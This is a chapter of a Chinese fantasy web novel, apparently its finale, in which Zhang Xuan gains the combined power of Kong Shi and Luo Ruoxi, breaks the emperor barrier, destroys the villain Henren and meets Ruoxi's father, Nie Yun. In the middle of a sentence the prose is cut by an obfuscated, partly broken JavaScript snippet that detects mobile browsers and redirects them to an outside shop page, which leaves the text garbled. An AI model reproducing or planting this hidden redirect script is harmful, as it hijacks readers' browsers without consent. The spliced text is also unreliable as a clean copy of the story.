“哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785360|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新!